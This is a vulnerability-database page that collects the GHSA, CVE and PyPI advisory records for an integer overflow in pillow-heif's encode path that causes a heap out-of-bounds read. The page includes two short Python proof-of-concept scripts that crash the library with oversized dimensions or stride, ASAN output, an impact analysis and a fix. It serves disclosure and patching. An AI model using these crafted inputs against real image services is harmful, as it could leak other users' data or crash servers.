Vulnerability-Lookup

GHSA-5GJJ-6R7V-PH3X

Vulnerability from github – Published: 2026-07-20 19:08 – Updated: 2026-07-20 19:08

Summary

pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read

Details

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536: - True product: 12,884,901,888 - int32 product: 0 (wraps around) - Comparison: 0 > buffer.len → false → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path: - The decode path is partially guarded by libheif's built-in security limits - The encode path has no such guards — DISABLE_SECURITY_LIMITS is irrelevant - The encode path is reachable whenever an application calls pillow_heif.encode() or saves an image via Pillow with format="HEIF" / format="AVIF"

Affected functions (all in _pillow_heif.c): - _CtxWriteImage_add_plane() — line 158 - _CtxWriteImage_add_plane_la() — line 344 - _CtxWriteImage_add_plane_l() — line 449

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024)  # 1 MB (real need: ~3 GB)

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
    print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
    print(f"[*] MemoryError (libheif caught it later): {e}")
    print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

# 100x100 pixels — well within any security limit
# stride=INT_MAX (2,147,483,647), height=100
# INT_MAX * 100 overflows int32 → small or negative value
# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer
width = 100
height = 100
stride_val = 2_147_483_647
small_buffer = b"\x00" * 256

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), small_buffer, buf,
                       quality=-1, stride=stride_val)
    print("[!] encode() succeeded — bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes with exit code 139 (SIGSEGV).

ASAN confirmation

With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:

==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
    #0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
    ...

0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)
allocated by thread T0 here:
    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)
    ...

SUMMARY: AddressSanitizer: negative-size-param
  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc

The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.

Impact

Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:

Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
Content management systems that convert uploaded images to HEIF/AVIF
Image processing pipelines that accept user-specified output dimensions

Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of: - Other users' request data - Python objects (strings, byte arrays) - Session tokens, API keys, or other sensitive data from the server's heap

Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).

Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:

// Before (vulnerable):
if (stride_in * height > buffer.len) {

// After (fixed):
if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {

Prior art: - CVE-2024-5197 (libvpx): integer overflow in vpx_img_alloc(), CVSS 7.5 - CVE-2024-5171 (libaom): integer overflow in aom_img_alloc(), CVSS 9.8

Severity

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pi-heif"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow-heif"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T19:08:04Z",
    "nvd_published_at": "2026-02-27T20:21:40Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required \u2014 this triggers under default settings.\n\n### Details\n\nThe buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough:\n\n```c\n// _pillow_heif.c, lines 158, 344, 449\nif (stride_in * height \u003e buffer.len) {\n    PyBuffer_Release(\u0026buffer);\n    PyErr_SetString(PyExc_ValueError, \"image plane does not contain enough data\");\n    return NULL;\n}\n```\n\nBoth `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.\n\nFor example, with `stride_in = 196608` (65536 \u00d7 3 for RGB) and `height = 65536`:\n- True product: 12,884,901,888\n- `int32` product: 0 (wraps around)\n- Comparison: `0 \u003e buffer.len` \u2192 `false` \u2192 check bypassed\n\nAfter the check is bypassed, the subsequent loop reads beyond the input buffer:\n\n```c\nfor (int i = 0; i \u003c height; i++)\n    memcpy(out + stride_out * i, in + stride_in * i, real_stride);\n```\n\nAdditionally, `real_stride = width * n_channels` (e.g., line 148: `real_stride = width * 3`) is also computed as `int * int`, which can independently overflow for large `width` values.\n\nThis vulnerability exists in the **encode path**, which is distinct from the decode path:\n- The decode path is partially guarded by libheif\u0027s built-in security limits\n- The encode path has **no such guards** \u2014 `DISABLE_SECURITY_LIMITS` is irrelevant\n- The encode path is reachable whenever an application calls `pillow_heif.encode()` or saves an image via Pillow with `format=\"HEIF\"` / `format=\"AVIF\"`\n\n**Affected functions** (all in `_pillow_heif.c`):\n- `_CtxWriteImage_add_plane()` \u2014 line 158\n- `_CtxWriteImage_add_plane_la()` \u2014 line 344\n- `_CtxWriteImage_add_plane_l()` \u2014 line 449\n\n**CWE**: CWE-190 (Integer Overflow or Wraparound) \u2192 CWE-125 (Out-of-bounds Read)\n\n### PoC\n\n#### Prerequisites\n\n```bash\npip install pillow-heif Pillow\n```\n\nFor ASAN confirmation:\n\n```bash\n# macOS (Apple Clang)\nCC=\"cc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n\n# Linux (GCC)\nCC=\"gcc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n```\n\n#### Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# width=32768, height=32768 =\u003e 1,073,741,824 pixels (within libheif security limit)\n# stride_in = 32768 * 3 = 98304\n# 98304 * 32768 = 3,221,225,472 \u003e INT_MAX (2,147,483,647)\n# int32 overflow: wraps to -1,073,741,824\n# Bounds check: -1,073,741,824 \u003e 1,048,576 \u2192 False \u2192 BYPASSED\nwidth = 32768\nheight = 32768\nbuffer = b\"\\x00\" * (1024 * 1024)  # 1 MB (real need: ~3 GB)\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), buffer, buf, quality=-1)\n    print(\"[!] encode() succeeded \u2014 bounds check was bypassed\")\nexcept MemoryError as e:\n    print(f\"[*] MemoryError (libheif caught it later): {e}\")\n    print(\"[*] int32 overflow occurred \u2014 C-level bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes the process with **exit code 138 (SIGBUS)** or **139 (SIGSEGV)**.\n\n#### Test 2: Explicit stride \u2014 small image, immediate crash\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# 100x100 pixels \u2014 well within any security limit\n# stride=INT_MAX (2,147,483,647), height=100\n# INT_MAX * 100 overflows int32 \u2192 small or negative value\n# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer\nwidth = 100\nheight = 100\nstride_val = 2_147_483_647\nsmall_buffer = b\"\\x00\" * 256\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), small_buffer, buf,\n                       quality=-1, stride=stride_val)\n    print(\"[!] encode() succeeded \u2014 bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes with **exit code 139 (SIGSEGV)**.\n\n#### ASAN confirmation\n\nWith an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:\n\n```\n==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)\n    #0 0x... in \u003cdeduplicated_symbol\u003e (libclang_rt.asan_osx_dynamic.dylib)\n    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)\n    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)\n    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)\n    ...\n\n0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)\nallocated by thread T0 here:\n    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)\n    ...\n\nSUMMARY: AddressSanitizer: negative-size-param\n  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc\n```\n\nThe overflow in `stride_in * height` (98304 \u00d7 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.\n\n### Impact\n\n**Who is impacted**: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:\n\n- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)\n- Content management systems that convert uploaded images to HEIF/AVIF\n- Image processing pipelines that accept user-specified output dimensions\n\n**Information Disclosure (Heartbleed-like)**: The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:\n- Other users\u0027 request data\n- Python objects (strings, byte arrays)\n- Session tokens, API keys, or other sensitive data from the server\u0027s heap\n\n**Denial of Service**: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).\n\n**Suggested fix**: Cast operands to `Py_ssize_t` before multiplication at all three locations:\n\n```c\n// Before (vulnerable):\nif (stride_in * height \u003e buffer.len) {\n\n// After (fixed):\nif ((Py_ssize_t)stride_in * (Py_ssize_t)height \u003e buffer.len) {\n```\n\n**Prior art**:\n- CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5\n- CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8",
  "id": "GHSA-5gjj-6r7v-ph3x",
  "modified": "2026-07-20T19:08:04Z",
  "published": "2026-07-20T19:08:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28231"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bigcat88/pillow_heif"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pi-heif/PYSEC-2026-2248.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow-heif/PYSEC-2026-2258.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read"
}

CVE-2026-28231 (GCVE-0-2026-28231)

Vulnerability from cvelistv5 – Published: 2026-02-27 20:13 – Updated: 2026-03-03 20:25

Title

pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read

Summary

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

Severity

5.5 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-125 - Out-of-bounds Read
CWE-190 - Integer Overflow or Wraparound

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/bigcat88/pillow_heif/security/…	x_refsource_CONFIRM
https://github.com/bigcat88/pillow_heif/commit/83…	x_refsource_MISC
https://github.com/bigcat88/pillow_heif/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
bigcat88	pillow_heif	Affected: < 1.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-28231",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-03T20:25:24.513947Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-03T20:25:30.145Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pillow_heif",
          "vendor": "bigcat88",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required \u2014 this triggers under default settings. Version 1.3.0 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "CWE-125: Out-of-bounds Read",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190: Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-27T20:13:45.195Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x"
        },
        {
          "name": "https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a"
        },
        {
          "name": "https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0"
        }
      ],
      "source": {
        "advisory": "GHSA-5gjj-6r7v-ph3x",
        "discovery": "UNKNOWN"
      },
      "title": "pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-28231",
    "datePublished": "2026-02-27T20:13:45.195Z",
    "dateReserved": "2026-02-25T15:28:40.651Z",
    "dateUpdated": "2026-03-03T20:25:30.145Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-2248

Vulnerability from pysec - Published: 2026-02-27 20:21 - Updated: 2026-07-13 05:50

Details

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Impacted products

Name	purl
pi-heif	pkg:pypi/pi-heif

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pi-heif",
        "purl": "pkg:pypi/pi-heif"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.10.0",
        "0.10.1",
        "0.11.0",
        "0.11.1",
        "0.12.0",
        "0.13.0",
        "0.13.1",
        "0.14.0",
        "0.15.0",
        "0.16.0",
        "0.17.0",
        "0.18.0",
        "0.20.0",
        "0.21.0",
        "0.22.0",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.3",
        "1.0.0",
        "1.1.0",
        "1.1.1",
        "1.2.0",
        "1.2.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28231",
    "GHSA-5gjj-6r7v-ph3x"
  ],
  "details": "pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required \u2014 this triggers under default settings. Version 1.3.0 fixes the issue.",
  "id": "PYSEC-2026-2248",
  "modified": "2026-07-13T05:50:42.860215Z",
  "published": "2026-02-27T20:21:40.697Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0"
    },
    {
      "type": "FIX",
      "url": "https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

PYSEC-2026-2258

Vulnerability from pysec - Published: 2026-02-27 20:21 - Updated: 2026-07-13 05:50

Details

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Impacted products

Name	purl
pillow-heif	pkg:pypi/pillow-heif

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow-heif",
        "purl": "pkg:pypi/pillow-heif"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.10",
        "0.1.11",
        "0.1.4",
        "0.1.5",
        "0.10.0",
        "0.10.1",
        "0.11.1",
        "0.12.0",
        "0.13.0",
        "0.13.1",
        "0.14.0",
        "0.15.0",
        "0.16.0",
        "0.17.0",
        "0.18.0",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.20.0",
        "0.21.0",
        "0.22.0",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.4.0",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.6.1",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.3",
        "1.0.0",
        "1.1.0",
        "1.1.1",
        "1.2.0",
        "1.2.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28231",
    "GHSA-5gjj-6r7v-ph3x"
  ],
  "details": "pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required \u2014 this triggers under default settings. Version 1.3.0 fixes the issue.",
  "id": "PYSEC-2026-2258",
  "modified": "2026-07-13T05:50:44.932507Z",
  "published": "2026-02-27T20:21:40.697Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0"
    },
    {
      "type": "FIX",
      "url": "https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-5GJJ-6R7V-PH3X

Summary

Details

PoC

Prerequisites

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

Test 2: Explicit stride — small image, immediate crash

ASAN confirmation

Impact

CVE-2026-28231 (GCVE-0-2026-28231)

PYSEC-2026-2248

PYSEC-2026-2258

Tags

Sightings

Nomenclature